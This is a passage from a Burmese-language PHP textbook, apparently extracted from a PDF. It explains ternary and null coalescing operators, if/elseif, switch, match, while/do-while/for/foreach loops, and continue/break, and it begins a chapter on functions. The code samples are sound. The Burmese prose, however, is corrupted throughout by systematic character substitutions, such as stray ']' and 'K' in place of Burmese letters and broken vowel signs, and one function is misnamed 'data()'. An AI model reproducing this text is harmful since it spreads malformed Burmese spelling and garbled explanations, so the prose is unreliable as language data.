PHP  မှာ  Ternary  Operator  နဲ့  Null  Coalescing  Operator  ဆိုတဲ့  Conditional  Expression
လုပ်ပေဆာင်]ျက်ပေတွ ရိှပါတယ်။ Ternary Operator ကိုအသံုးဖြပုပြပီး အ]ုလုိပေရးနိုင်ပါတယ်။

 PHP 

<?php

$name = "";
echo $name ? $name : "Unknown"; // Unknown

$name = "Alice";
echo $name ? $name : "Unknown"; // Alice

Ternary  Operator  က  ပေပးလုိက်တဲ့  ပထမဆုံး  Expression  ရဲ့  ရလဒ်  true ဖြKစ်ရင်  ? ပေနာက်က
Expression ကို ဆက်လုပ်သွားမှာဖြKစ်ပြပီး false ဖြKစ်ရင် : ပေနာက်က Expression ကို ဆက်လုပ်သွားမှာ
ဖြKစ်ပါတယ်။  ပထမနမူနာအရ  $name Variable  ရိှမရှိ  စစ်ကြကည့်လုိက်တဲ့အ]ါ  Empty  String  ပေကြကာင့်
false ဖြKစ်ပေနတဲ့အတွက် Unknown လ့ုိ ပေKာ်ဖြပသွားမှာပါ။ ပေနာက်နမူနာမှာပေတာ့ $name တန်Kုိးရှိသွား
ပြပီ ဖြKစ်တဲ့အတွက် $name တန်Kုိးကို ပေKာ်ဖြပသွားမှာ ဖြKစ်ပါတယ်။

ဒါကို အတိုပေကာက် အ]ုလုိ ပေရးလ့ုိရနိုင်ပါပေသးတယ်။

 PHP 

<?php

$name = "";
echo $name ?: "Unknown"; // Unknown

$name = "Alice";
echo $name ?: "Unknown"; // Alice
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စစ်]ျင်တဲ့  Expression နဲ့  true ဖြKစ်ရင် လုပ်ရမယ့် Expression တူပေနလ့ုိ ဒီလုိပေရးလ့ုိရတာပါ။ ဒါပေပမယ့်
အ]ုပေKာ်ဖြပ]ဲ့တဲ့  ဒီနှစ်နည်းလံုးမှာ  ဖြပဿနာတစ်]ုပေတာ့  ရှိပေနပါတယ်။  $name က  ကြကိုတင်ရှိပေနလ့ုိသာ
အလုပ်လုပ်တာ ဖြKစ်ပြပီး  $name ကသာ ကြကိုတင်ရှိမပေနရင်  Undefined variable Warning  တက်ပါလိမ့်
မယ်။ အ့ဲဒီလို တက်မှာစိုးလ့ုိ တမင် $name ကို အရင်ကြကိုပေကြကညာပြပီးပေတာ့မှ ပေရးရတဲ့ နမူနာကို ပေပးထား
တာပါ။

 PHP 

<?php

echo $name ? $name : "Unknown";

// Warning: Undefined variable $name

echo $name ?: "Unknown";

// Warning: Undefined variable $name

ဒီလိုအပေဖြ]အပေနမျ ို းမှာ isset() နဲ့ Variable ရှိမရှိ စစ်ပြပီးမှ ပေရးရင်ပေတာ့ရပါတယ်။ 

echo isset($name) ? $name : "Unknown"; // Unknown

ဒီတစ်]ါပေတာ့ Undefined variable Warning မတက်ပေတာ့ပါဘူး။ Variable ကို မရှိဘဲနဲ့ သုံးလုိက်တာမျ ို း
မဟုတ်ပေတာ့ဘဲ ရှိ/မရှိ စစ်ပြပီးအလုပ်လုပ်ပေစတဲ့နည်းကို သံုးလုိက်တာ ဖြKစ်သွားလ့ုိပါ။ ဒီထက်ပုိပြပီး ကျစ်လစ်
တဲ့ ပေရးဟန်ရK့ုိအတွက် Null Coalescing Operator ကိုလည်း အသံုးဖြပုနိုင်ပါတယ်။ ဒီလုိပါ။

 PHP >= 7.0 

<?php

echo $name ?? "Unknown";   // Unknown

?? သပေက�တနဲ့ ပေရးရတာ ဖြKစ်သွားပါပြပီ။ ဒီတစ်]ါမှာလည်း Undefined variable Warning မတက်ပါဘူး။
Null Coalescing Operator ဖြKစ်တဲ့ ?? က ရှိမရှိစစ်ပြပီးမှ အလုပ်လုပ်ပေပးသွားမှာမ့ုိလ့ုိပါ။ Null Coalescing
Assignment Operator လည်းရှိပါပေသးတယ်။ ဒီလုိပါ –
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 PHP >= 7.0 

<?php

$result = "Alice";
$result ??= $name;

echo $result;     // Alice

$result ရဲ့ မူလတန်Kိုး  Alice  ဖြKစ်ပြပီး  $name ရိှပေနရင်  $name တန်Kုိးကို  $result ထဲမှာ  Assign
လုပ်လုိက်]ျင်တာပါ။  ဒါပေပမယ့်  မရှရိင်ပေတာ့  Assign  မလုပ်ပေစ]ျင်ပါဘူး။  ဒါပေကြကာင့်  Null  Coalescing
Assignment  Operator  ဖြKစ်တဲ့  ??= ကို  အသံုးဖြပုလုိက်တာပါ။  နမူနာအရ  Assign  လုပ်လုိက်ပေပမယ့်
$name တန်Kုိး မရှိတဲ့အတွက် မူလတန်Kုိး Alice ကိုပဲ ပေKာ်ဖြပပေပးတာကို ပေတွ့ ရမှာပဲ ဖြKစ်ပါတယ်။

Control Structures
Conditional Statements ပေတွပေရးသားK့ုိအတွက် PHP မှာ if Statement ကိုပဲသံုးပါတယ်။ ရိှနိုင်တဲပ့ေရး
နည်း မူကွဲပေတွက ဒီလုိပါ – 

 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18) echo "Day Time"; 
else echo "Night Time";

နမူနာအရ  လက်ရှိအ]ျနိ်ကို  if Condition  နဲ့  စစ်လုိက်ပြပီး မနက်  (၆)  နာရီထက်ကြကီးပြပီး နဲ့  ညပေန  (၆)
နာရီထက် ငယ်ရင် Day Time လ့ုိ ရိုက်ထုတ် ပေKာ်ဖြပပေပးမှာပါ။ အကယ်၍ မဟုတ်]ဲရ့င် ပေတာ့ Night Time
လ့ုိ ရိုက်ထုတ်ပေKာ်ဖြပပေပးမှာပါ။  Condition မှားမှန်ပေပါ်မူတည်ပြပီး လုပ်ရမယ့် Statement က တစ်ပေကြကာင်း
စီသာပါဝင်တဲ့အတွက်  တွန့်ကွင်းအKွင့်အပိတ်ပေတွ  မထည့်ဘဲပေရးထားတာပါ။  တွန့်ကွင်းအKွင့်အပိတ်ပေတွ
ထည့်ပေရးမယ်ဆိုရင် ဒီလုိပေရးရမှာပါ။



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၅) – Operators & Control Structures 62

 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18) {
    echo "Day Time"; 
} else {
    echo "Night Time";
}

ဒီလိုတွန့်ကွင်းအKွင့်အပိတ်ပေတွနဲ့  မပေရးဘဲ  Alternative  Syntax  နဲ့ပေရးလ့ုိရတာကို  အထက်မှာလည်း
ပေKာ်ဖြပ]ဲ့ပြပီးဖြKစ်ပါတယ်။ ပေနာကတ်စ်ကြကိမ် ထပ်ပြပီးပေတာ့ ပေKာ်ဖြပပါဦးမယ်။

 PHP 

<?php

$time = date("h");

if($time > 6 and $time < 18):
    echo "Day Time"; 
else:
    echo "Night Time";
endif;

ဒီလိုတွန့်ကွင်းပေတွမပါတဲ့  Alternative Syntax ကို  HTML နဲ့  PHP ပေရာပေရးတဲ့အ]ါမှာ အသံုးများပြပီး  PHP
]ျည်းသက်သက်ဆိုရင်ပေတာ့ သိပ်မသံုးကြကပါဘူး။ PHP မှာ elseif ပေရးထံုးလည်း ရိှပါပေသးတယ်။

 PHP 

<?php

$day = date("D");
if($day === "Sun") {
    echo "Today is Sunday.";
} elseif ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}
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data() Function ကို  Argument အပေနနဲ့  D လုိက်တဲ့အ]ါ Sun, Mon, Tue စသည်ဖြKင့် ဒီကပေန့ဘာပေန့
လဲဆိုတဲ့ တန်Kုိးကို ဖြပန်ရပါတယ်။ အ့ဲဒီတန်Kုိးကို စစ်ပြပီးလုပ်]ျင်တဲ့အလုပ်က မှားမှန် နှစ်]ုထဲမဟုတ်ပေတာ့
တဲ့အတွက်  elseif Statement  ကိုထည့်သံုးထားပါတယ်။ နမူနာအရ  $day တန်Kုိးဟာ  Sun  ဆိုရင်
Today is Sunday. ဆိုတဲ့စာကို ပေKာ်ဖြပပြပီး $day တန်Kုိးဟာ Sat ဆိရုင် Today is Saturday. ဆိုတာစာ
ကို  ပေKာ်ဖြပပေပးမှာပါ။  Condition  နှစ်]ါစစ်ထားတာပါ။ အ့ဲဒီနှစ်]ုလံုး မမှန်ပေတာ့မှ  Today is a weekday.
ဆိုတဲ့စာကို  ပေKာ်ဖြပပေပးမှာပဲ  ဖြKစ်ပါတယ်။  ကြကားထဲမှာ  ပေနာက်ထပ်  Condition  ပေတွထပ်ထည့်]ျင်ရင်
elseif ပေတွထပ်တိုးပြပီး ထည့်လ့ုိရပါပေသးတယ်။

ဒီပေနရာမှာ  သတိဖြပုရမှာက  JavaScript  မှာ  ဆိုရင်  elseif Statement  မရှိပါဘူး။  အ့ဲဒီလုိ  elseif
Statement မရှိ]ဲ့ရင်လည်း တူညီတဲ့ ရလဒ်ရK့ုိအတွက် အ]ုလုိပေရးနိုင်ပါတယ်။

 PHP 

<?php

$day = date("D");

if($day === "Sun") {
    echo "Today is Sunday.";
} else if ($day === "Sat") {
    echo "Today is Saturday.";
} else {

echo "Today is a weekday.";
}

else  if ဖြKစ်သွားတာပါ။  ကြကားထဲမှာ  Space  ဖြ]ားထားပါတယ်။  else Statement  အတွက်
ပေနာက်ထပ် ထပ်ဆင့်  if Statement  တစ်]ုကို  ပေပးလုိက်တာပါ။  elseif ဆိုတဲ့  သီးဖြ]ား  Statement
မဟုတ်ပေပမယ့် ရလဒ်ကပေတာ့ အတူတူပါပဲ။

PHP မှာ Switch Statement လည်းရှိပါတယ်။ ဒီလုိပါ – 
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 PHP 

<?php

$day = date("D");

switch($day) {
    case "Sat":
    case "Sun":
        echo "Weekend";
        break;
    case "Fri":
        echo "TGIF";
        break;
    default:
        echo "Weekday";
}

switch ရဲ့ သပေဘာအရ ပေပးလုိက်တဲ့တန်Kုိးနဲ့ ညီတဲ့  case ကိုသွားပြပီး အလုပ်လုပ်မှာဖြKစ်လုိ့  $day က
စပေနပေန့ဖြKစ်]ဲ့ရင် Sat case ကိပုေရာက်သွားမှာပါ။ ဘာ Statement မှမရှိတဲ့အတွက် ပေနာက်တစ်ဆင့်ဖြKစ်တဲ့
Sun case  ကိုဆက်သွားလုိက်မှာဖြKစ်လ့ုိ  Weekend  ဆိုတဲ့ရလဒ်ကို  ပေတွ့ဖြမင်ရမှာ ဖြKစ်ပါတယ်။ ပြပီးတဲ့အ]ါ
break Statement ကိုပေတွ့တဲ့အတွက် ပေနာက်အဆင့်ကို ဆက်မသွားပေတာ့ပဲ အ့ဲဒီပေနရာမှာတင် ရပ်လုိက်
မှာ ဖြKစ်ပါတယ်။ အကယ်၍ $day က ပေသာကြကာပေန့ဆိုရင်ပေတာ့  Fri case  ကိုပေရာက်သွားပြပီး  TGIF  ဆိုတဲ့
ရလဒ်ကို ပေKာ်ဖြပမှာ ဖြKစ်ပါတယ်။ ပြပီးတဲ့အ]ါ break Statement နဲ့ ရပ်]ိုင်းထားတဲ့အတွက် ပေနာက်အဆင့်
ကို  ဆက်မသွားပေတာ့ဘဲ အ့ဲဒီပေနရာမှာတင် ရပ်လုိက်မှာ ဖြKစ်ပါတယ်။ ပေပးထားတဲ့  case ပေတွ တစ်]ုမှ မ
ကိုက်ရင်ပေတာ့  default Statement  ကို  အလုပ်လုပ်သွားမှာပဲ  ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  $day တန်Kုိး
Sat, Sun, Fri တစ်]ုမှမဟုတ်]ဲ့ရင် Weekday ဆိုတဲရ့လဒ်ကို ရမှာပဲ ဖြKစ်ပါတယ်။

PHP 8  မှာ  switch Statement  နဲ့ဆင်တူတဲ့  match Expression  ဖြKည့်စွက်  ပါဝင်လာပါတယ်။ သူက
Expression   ဖြKစ်သွားတဲ့အတွက်   Variable   ထဲကို ထည့်လုိက်လ့ုိရ   တာမျ ို း အပါအဝင် ထူးဖြ]ားတဲ့ အသံုးဖြပု
မှုမျ ို းပေတွနဲ့ သံုးလ့ုိရနိုင်သွားပါတယ်။ ဒီလုိပါ –
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 PHP >= 8.0 

<?php

$day = date("D");

$result = match($day) {
    "Sat", "Sun" => "Weekend",
    "Fri" => "TGIF",
    default => "Weekday"
};

echo $result;

ထူးဖြ]ားတဲ့ပေရးထံုးဖြKစ်လ့ုိ ပေသ]ျာပေလး ဂရုစိုက်ကြကည့်လုိက်ပါ။ $result Variable နဲ့  match() ကဖြပန်
ပေပးတဲ့  ရလဒ်ကို  လက်]ံထားပါတယ်။  match ရဲ့ပေနာက်က ကွင်းစကွင်းပိတ်ထဲမှာ စစ်]ျင်တဲ့  တန်Kုိးကို
ပေပးရပါတယ်။ နမူနာအရ Sat  နဲ့  Sun ဆိရုင်  Weekend ကို ဖြပန်ပေပးလုိက်မှာပါ။  echo နဲ့ရိုက်ထုတ်ထား
တာ  မဟုတ်ပါဘူး။  Return  ဖြပန်ပေပးရမယ့်  တန်Kုိးကို  သတ်မှတ်ထားတာပါ။  သ့ူမှာလည်း  default
ပေရးထံုးပါဝင်ပါတယ်။ အားလံုးပြပီးပေတာ့မှ  ပေနာက်ဆုံးမှာ ရလဒ်  $result ကို  echo နဲ့  ရိုက်ထုတ်ထား
ဖြ]င်းပဲ ဖြKစ်ပါတယ်။

switch     က တန်Kုိးနှိုင်းယှဉ်Kုိ့    ==     ကိုသုံးပြပီး    match     က   ===     ကိုသုံးတယ်ဆိုတာကိုလည်း သတိဖြပုပါ  ။
switch မှာ  switch("5") လ့ုိစစ်ထားရင်  case 5 ကို အလုပ်လုပ်ပေပးပါတယ်။ String "5"  ကိုစစ်
ထားပေပမယ့် Integer 5 ဆိုရင်လည်း အလုပ်လုပ်ပေပးမှာပါ။ match("5") လ့ုိစစ်ထားရင်ပေတာ့ 5 => ကို
အလုပ်လုပ်မှာ မဟုတ်ပါဘူး။ String "5" ကို စစ်ထားတဲ့အတွက် String "5" ကိုပေတွ့မှသာ အလုပ်လုပ်မှာ
မ့ုိလ့ုိပါ။

PHP  မှာ  အကြကိမ်ကြကိမ်  Loop  လုပ်ပြပီးပေရးရမယ့်  ကုဒ်ပေတွအတွက်  while,  do-while နဲ့  for
Statement တို့ကို သံုးနိုင်ပါတယ်။ while Statement ဟာ Condition က true ဖြKစ်ပေနသ၍ ပေပးလုိက်
တဲ့ ကုဒ်ပေတွကို ထပ်]ါထပ်]ါ အလုပ်လုပ်ပေပးမှာဖြKစ်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    $result += $nums[$i];
    $i++;
}

echo $result; // 681

ပေပးထားတဲ့ကုဒ်မှာ  ကိန်းဂဏန်းတန်Kိုးပေတွပါဝင်တဲ့  $nums Array  တစ်]ရုှိပါတယ်။  အ့ဲဒီ  Array  ထဲက
တန်Kုိးအားလံုးကို ပေပါင်းလိုက်]ျင်တာပါ။ ဒါပေကြကာင့် Variable နှစ်]ုထပ်ပေကြကညာပါတယ်။ $i တန်Kုိးကို 0
လ့ုိသတ်မှတ်ထားသလုိ $result တန်Kုိးကိုလည်း 0 လ့ုိသတ်မှတ်ထားပါတယ်။ while Statement မှာ
ပေတာ့  Condition  အပေနနဲ့  $i တန်Kုိးက  $nums Array  မှာပါဝင်တဲ့  Index  အပေရအတွက်ထက် ငယ်ပေန
သ၍ ထပ်]ါထပ်]ါ အလုပ်လုပ်K့ုိ သတ်မှတ်ပေပးထားပါတယ်။ အလုပ်တစ်ကြကိမ်လုပ်တိုင်း  $i++ နဲ့  1  တိုး
ထားတဲ့အတွက်  အကြကိမ်ပေရဖြပည့်လုိ့  သတ်မှတ်  Condition  နဲ့မကိုက်ပေတာ့ရင်  ရပ်သွားမှာပါ။  တစ်ကြကိမ်
အလုပ်လုပ်တိုင်း  $result တန်Kုိးထဲက  လက်ရှိအလုပ်လုပ်ပေနတဲ့  $nums Array  ရဲ့  Index  မှာရှိတဲ့
တန်Kုိးကို  ပေပါင်းပေပါင်း  ထည့်သွားတဲ့အတွက်  Loop  ပြပီးသွားတဲ့အ]ါ  စုစုပေပါင်း  ပေပါင်းဖြ]င်းရလဒ်ကို
$result ထဲမှာ ရရိှသွားတာပဲ ဖြKစ်ပါတယ်။

တစ်ကယ်ပေတာ့  Array  ထဲက  တန်Kုိးပေတွ  ပေပါင်းတာပေလာက်က  array_sum() တို့
array_reduce() တို့လုိ  Standard Function ပေတွနဲ့တင် ပြပီးပါတယ်။ ကိုယ့်ဘာသာ ပေပါင်းK့ုိ မလုိပါ
ဘူး။ ဒါပေပမယ့် Loop နမူနာ စမ်းပေရး]ျင်ရင် စမ်းပေရးလ့ုိရပေအာင် ကိုယ့်ဘာသာ ပေပါင်းပေပးလုိက်တာပါ။

Loop ပေတွနဲ့အတူ continue Statement ကိုလုိအပ်ရင် တွဲသံုးနိုင်ပါတယ်။ continue Statement ကို
ပေတွ့ရင်  လက်ရှိအလုပ်ကိုရပ်လိုက်ပြပီး  ပေနာက်တစ်ကြကိမ်ဖြပန်စပေပးသွားမှာပါ။  ဥပမာ  -  ပေပးထားတဲ့  ကိန်း
ဂဏန်းပေတွထဲမှာ အနှုတ်ကိန်းပါရင် ထည့်မပေပါင်းဘဲ ပေကျာ်လိုက်ပေစ]ျင်တယ်ဆိုရင် ဒီလုိပေရးလ့ုိရပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) {
        $i++;
        continue;
    }

    $result += $nums[$i];
    $i++;
}

echo $result; // 683

နမူနာအရ လက်ရှိတန်Kုိး  0  ထက်ငယ်ရင်  continue နဲ့ ရပ်လုိက်ပြပီး ပေနာက်တစ်ကြကိမ် ဖြပန်စသွားမှာပါ။
ဒါပေကြကာင့် $result ထဲမှာ အနှုတ်ကိန်းတန်Kုိးပေတွ ထည့်ပေပါင်းပေတာ့မှာ မဟုတ်ပါဘူး။

လက်ရှိအလုပ်လုပ်ပေနတဲ့  Loop  ကို  ရပ်လုိက်]ျင်ရင်ပေတာ့  break Statement  ကိုသုံးနိုင်ပါတယ်။  တစ်
ကယ်ပေတာ့ break Statement က Loop မှ မဟုတ်ပါဘူး၊ ဘယ်လုိ ကုဒ် Block မျ ို းကပေနမဆို ထွက်]ျင်
တဲ့အ]ါ သံုးနိုင်ပါတယ်။ ဥပမာ -  ပေပးထားတဲ့ ကိန်းဂဏန်းပေတွထဲမှာ အနှုတ်ကိန်းကိုပေတွ့တာနဲ့ ရပ်လုိက်
ပေစ]ျင်ရင် အ]ုလုိပေရးနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

while($i < count($nums)) {
    if($nums[$i] < 0) break;

    $result += $nums[$i];
    $i++;
}

echo $result; // 54

break ပေနာက်ကပေန လုိအပ်ရင် Argument ထည့်ပေပးလ့ုိရပါတယ်။ Default က 1 ဖြKစ်ပါတယ်။ ဒါပေကြကာင့်
break;     လ့ုိပေရးလုိက်တာဟာ   break 1;     လ့ုိ ပေရးလုိက်တာနဲ့ အတူတူပါပဲ  ။ 1 လ့ုိပေဖြပာတဲ့အတွက် ကုဒ်
Block တစ်ဆင့် ထွက်လုိက်မှာပါ။ အကယ်၍ နှစ်ဆင့်သံုးဆင့်ပေကျာ်ပြပီး ထွက်လုိက်]ျင်ရင် break 2; တို့
break 3; တို့ကို အသံုးဖြပုနိုင်ပါတယ်။ continue မှာလည်း အလားတူပဲ လုိအပ်ရင် Argument ထည့်
ပေပးလ့ုိရပါတယ်။

do-while Statement ကပေတာ့ အပေဖြ]]ံအားဖြKင့် while Statement နဲ့ အတူတူပါပဲ။ ကွာသွားတာက၊
ရိုးရိုး  while Statement မှာ Condition စစ်ပြပီး မှန်မှအလုပ်လုပ်ပြပီး၊  do-while Statement မှာပေတာ့
အလုပ်အရင်လုပ်ပြပီး  Condition  ကိုပေနာက်မှ စစ်တဲ့အတွက်၊ ပထမဆုံးတစ်ကြကိမ်  Condition  မှန်သည်ဖြKစ်
ပေစ မှားသည်ဖြKစ်ပေစ အလုပ်လုပ်သွားမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် Condition မှန်သည်ဖြKစ်ပေစ မှားသည်ဖြKစ်
ပေစ ပထမဆုံးအကြကိမ်ပေတာ့  မဖြKစ်မပေန အလုပ်လုပ်K့ုိလိုတဲ့  ကုဒ်ပေတွမှာ  while အစား  do-while ကို
အသုံးဖြပုနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [12, 42, -2, 8, 621];

$i = 0;
$result = 0;

do {
    $result += $nums[$i];
    $i++;
} while($i < count($nums));

echo $result; // 681

for Statement  ကိုပေတာ့  Expression (၃)  ]ုကို  Argument  အပေနနဲ့  ပေပးပြပီးပေရးရပါတယ်။ ပထမဆုံး
Expression ကို စစ]ျင်းတစ်ကြကိမ် အလုပ်လုပ်ပါတယ်။ အလယ်က Expression ကပေတာ့  Condition ဖြKစ်
ပြပီး မှန်မှ ပေနာက်အကြကိမ်ပေတွ ဆက်အလုပ်လုပ်မှာပါ။ ပေနာက်ဆုံးက Expression ကိုပေတာ့ Loop တစ်ကြကိမ်
ပြပီးတိုင်းတစ်]ါအလုပ်လုပ်ပေပးမှာပဲ  ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  အပေပါ်မှာ  while တို့  do-while တို့နဲ့
ပေရးထားတဲ့ကုဒ်ကို for Statement နဲ့ အ]ုလုိပေဖြပာင်းပြပီး ပေရးလ့ုိရနိုင်ပါတယ်။

 PHP 

<?php

$nums = [12, 42, -2, 8, 621];
$result = 0;

for($i = 0; $i < count($nums); $i++) {
    $result += $nums[$i];
}

echo $result; // 681

$i Variable ကို သပ်သပ်မပေရးပေတာ့ပဲ for ရဲ့ ပထမ Expression Argument အပေနနဲ့ ပေပးလုိက်ပါတယ်။
ဒုတိယ Expression ဖြKစ်တဲ့  Condition ပေတာ့ အတူတူပါပဲ၊  $i တန်Kုိးက $nums Array မှာပါတဲ့  Index
အပေရအတွက်ထက် ငယ်ပေနသ၍ အလုပ်လုပ်မှာပါ။ ပေနာက်ဆုံး Expression အပေနနဲ့ $i++ ကို ပေပးထားတဲ့
အတွက် Loop တစ်ကြကိမ်ပြပီးတိုင်း $i တန်Kုိးကို  1 တိုးပေပးသွားလ့ုိ အကြကိမ်ပေရဖြပည့်ရင် ရပ်သွားမှာပဲ ဖြKစ်ပါ
တယ်။ ပေနာက်ဆုံးရလဒ်ကပေတာ့ ပေဖြပာင်းမှာ မဟုတ်ပါဘူး။ 



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၅) – Operators & Control Structures 70

PHP မှာ Array ပေတွကို  Loop လုပ်Kို့အတွက်  foreach Statement လည်း ရိှပါပေသးတယ်။ foreach
Statement ကပေတာ့ ပေပးလုိက်တဲ့ Array ကို အစကပေနအဆုံးထိ အလုပ်လုပ်သွားမှာမ့ုိလ့ုိ Condition ပေတွ
ဘာပေတွ ပေပးစရာမလုိပေတာ့ပါဘူး။ ဒီလိုပါ – 

 PHP 

<?php

$nums = [12, 42, -2, 8, 621];
$result = 0;

foreach($nums as $num) {
    $result += $num;
}

echo $result; // 681

foreach နဲ့  Loop  လုပ်Kို့  ပေပးလုိက်တဲ့  Array  ရဲ့ပေနာက်မှာ  as Keyword  နဲ့  လက်ရှိအလုပ်လုပ်ပေနတဲ့
တန်Kုိးကို Variable တစ်]ုနဲ့ လက်]ံလ့ုိရပါတယ်။ Variable ရဲ့အမည်ကို နှစ်သက်ရာအမည် ပေပးနိုင်ပြပီး နမူ
နာမှာ  $num လ့ုိပေပးထားပါတယ်။ ဒါပေကြကာင့်  $num ထဲမှာ ရိှပေနတဲ့  တန်Kုိးကို  $result ထဲမှာ ပေပါင်း
ထည့်သွားဖြ]င်းအားဖြKင့် လုိ]ျင်တဲ့ ရလဒ်ကို ရရှိမှာပဲ ဖြKစ်ပါတယ်။

foreach ရဲ့ထူးဖြ]ား]ျက်က Loop လုပ်K့ုိပေပးလုိက်တဲ့ Array ရဲ့ Index/Key ကို လုိ]ျင်ယူလည်း Variable
တစ်]ုနဲ့ လက်]ံယူလ့ုိရနိုင်ပါပေသးတယ်။ အသုံးဝင်ပါတယ်။ Array ပေတွ Object ပေတွနဲ့  အလုပ်လုပ်တဲ့အ]ါ
Value တန်Kုိးပေတွသာမက Index ပေတွ Key ပေတွကိုပါ စီမံK့ုိ လုိအပ်တတ်ပါတယ်။ ဒီလုိပါ –
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 PHP 

<?php

$user = [ "alice" => 98, "bob" => 95 ];
$result = [];

foreach($user as $name => $point) {
   $result[] = $name;
}

print_r( $result );

// Array ( [0] => alice [1] => bob )

နမူနာမှာ $user ဟာ Associative Array တစ်]ုပါ။ $result ကလည်း Array အလွတ်တစ်]ုဖြKစ်သွားပါ
ပြပီ။  foreach နဲ့  $user ကို  Loop  လုပ်တဲ့အ]ါ  Index  ကို  $name Variable  နဲ့လက်]ံပြပီး  Value  ကို
$point Variable  နဲ့လက်]ံထားပါတယ်။ ပြပီးပေတာ့မှ  $result Array  ထဲကို  Index  ဖြKစ်တဲ့  $name
ပေတွ ထပ်တိုးပြပီး ထည့်ထည့်ပေပးလိုက်တဲ့အတွက် ပေနာက်ဆုံးမှာ Index ပေတွကို]ျည်းပဲ Array တစ်]ုအပေနနဲ့
စုစည်းထားတဲ့ ရလဒ်ကို ရရိှဖြ]င်းဖြKစ်ပါတယ်။

ဒီပေနရာမှာလည်း  array_keys() လုိ  Standard Function  ကို  သံုးလုိက်ရင် ရပေပမယ့်၊ ကိုယ်တိုင်စီမံ
ပေရးသားK့ုိ လုိအပ်]ျက်ပေတွကလည်း သ့ူပေနရာနဲ့သူ ရိှလာမှာဖြKစ်ပါတယ်။
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အခန်း (၆) – Functions

ဒီစာအုပ်ကိုKတ်ရှုပေနသူဟာ  JavaScript  ကိုပေလ့လာပြပီးသူဖြKစ်K့ုိ များပါတယ်။  JavaScript  လုိ  Language
မျ ို းဟာ Object-Oriented Language လ့ုိပေဖြပာလို့ရပါတယ်။ Object-Oriented ကုဒ်ပေတွ ပေရးလ့ုိ ရယံုသာ
မက Language Feature ပေတာ်ပေတာ်များများက Object ပေတွ မ့ုိလ့ုိပါ။ ဥပမာ အပေဖြ]]ံ  Data Types ပေတွ
ဖြKစ်ကြကတဲ့ Number တို့ String တို့ဟာ ရိုးရိုး Value ဟုတ်ဘဲ Object ပေတွဖြKစ်ကြကပါတယ်။ ဒါပေကြကာင့်လည်း
ဒီလို ကုဒ်မျ ို းပေတွ ပေရးလို့ရတာပါ –

 JavaScript 

"Hello".length // 5
3.1416.toFixed(2) // 3.14

Property ပေတွ Method ပေတွ ဖြKစ်ကြကတဲ့ length တို့  toFixed() တို့ကို စာပေတွ၊ ကိန်ဂဏန်းပေတွပေပါ်
မှာ တိုက်ရိုက်သံုးလ့ုိရပေနတာဟာ အ့ဲဒီစာပေတွ၊ ကိန်းဂဏန်းပေတွ ကိုယ်တိုင်က  Object  ပေတွ ဖြKစ်ပေနလ့ုိပါ။
Array ပေတွဟာဆိုရင်လည်း Object ပေတွပါပဲ။ ဒါပေကြကာင့် အ]ုလုိ ကုဒ်မျ ို းပေတွ ပေရးလ့ုိရတာပါ။

 JavaScript 

[1, 2, 3].length // 3
[1, 2, 3].reduce((a, b) => a + b) // 6 

ဒါတင်သာမက  တစ်]ါတစ်ရံပေတွ့ရတဲ့  Standard  Function  ပေတဟွာလည်း  တစ်ကယ်ပေတာ့  ရိုးရိုး
Function  ပေတွ မဟုတ်ကြကပါဘူး။  Global Object  တို့  Window Object  တို့ရဲ့  Method  ပေတွသာ ဖြKစ်ပါ
တယ်။  ဥပမာ  alert() ပေ]ါ်တဲ့  Function  တစ်]ုကို  ပေ]ါ်သံုးလ့ုိ  ရပေပမယ့်  တစ်ကယ်ပေတာ့
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window.alert() လ့ုိပေ]ါ်တဲ့  Object  Method  တစ်]ုသာ  ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  JavaScript  လုိ
Language  မျ ို းမှာ  အရာပေတာ်ပေတာ်များများက  Object  ပေတွမ့ုိလ့ုိ  ပေရးတဲ့အ]ါ  Imperative  ပံုစံ၊
Procedural  ပံုစံ၊  OOP  ပံုစံ အမျ ို းမျ ို း ပေရးလ့ုိရပေပမယ့်  Language  ကိုယ်တိုင်ကပေတာ့  Object-Oriented
Language ဖြKစ်တယ်လို့ ဆိုနိုင်တဲ့ သပေဘာမျ ို းပါ။

PHP မှာလည်း  Imperative ပံုစံ၊  Procedural ပံုစံ၊  OOP ပံုစံ စသည်ဖြKင့် ကုဒ်ပေတွကို ပံုစံအမျ ို းမျ ို းနဲ့ ပေရး
လ့ုိရပေပမယ့်  Language  ကိုယ်တိုင်ကပေတာ့  Object-Oriented  Language  မဟုတ်ပါဘူး။  Procedural
Language တစ်]ုသာ ဖြKစ်ပါတယ်။ Standard Class  တစ်]ျ ို ့  Language နဲ့အတူ ပါဝင်ပေပမယ့် လုိ]ျင်တဲ့
ရလဒ်ရK့ုိအတွက်  Function ပေတွ Procedure ပေတွကိုသာ အများအားဖြKင့် အသုံးဖြပုရတာပါ။

JavaScript  မှာ  String  တစ်]ုမှာပါတဲ့  စာလံုးအပေရးအတွက်  သိ]ျင်ရင်  String.length Object
Property ကို သံုးရပေပမယ့် PHP မှာ strlen() Function ကို သံုးရပါတယ်။ JavaScript မှာ Array တစ်
]ုမှာပါတဲ့ Index အပေရအတွက်ကို သိ]ျင်ရင် Array.length Object Property ကို သံုးရပေပမယ့် PHP
မှာ  count() Function  ကို  သံုးရပါတယ်။ အထက်ကနမူနာမှာ ဖြပ]ဲ့တဲ့  Array.reduce() Object
Method လုိ လုပ်ပေဆာင်]ျက်မျ ို း ရK့ုိအတွက် array_reduce() Function ကို သံုးရမှာပါ။

ဒါပေကြကာင့် PHP   ဟာ လုိ]ျင်တဲ့ရလဒ်ရK့ုိအတွက် သူမှာအသင့်ပါတဲ့    Standard Function   ပေတွ   Procedure  
